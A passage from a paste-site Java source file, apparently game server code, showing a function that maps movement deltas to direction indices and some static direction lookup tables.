  885. if(-dx < dy) return 15;
  886. else if(-dx > dy) return 13;
  887. else return 14;
  888. }
  889. else {
  890. return 12;
  891. }
  892. }
  893. else if(dx > 0) {
  894. if(dy < 0) {
  895. if(dx < -dy) return 7;
  896. else if(dx > -dy) return 5;
  897. else return 6;
  898. }
  899. else if(dy > 0) {
  900. if(dx < dy) return 1;
  901. else if(dx > dy) return 3;
  902. else return 2;
  903. }
  904. else {
  905. return 4;
  906. }
  907. }
  908. else {
  909. if(dy < 0) {
  910. return 8;
  911. }
  912. else if(dy > 0) {
  913. return 0;
  914. }
  915. else {
  916. return -1;
  917. }
  918. }
  919. }
  920.  
  921. public static byte directionDeltaX[] = new byte[]{ 0, 1, 1, 1, 0,-1,-1,-1 };
  922. public static byte directionDeltaY[] = new byte[]{ 1, 1, 0,-1,-1,-1, 0, 1 };
  923.  
  924.  
  925. public static byte xlateDirectionToClient[] = new byte[]{ 1, 2, 4, 7, 6, 5, 3, 0 };
  926. }
Add Comment
Please, Sign In to add comment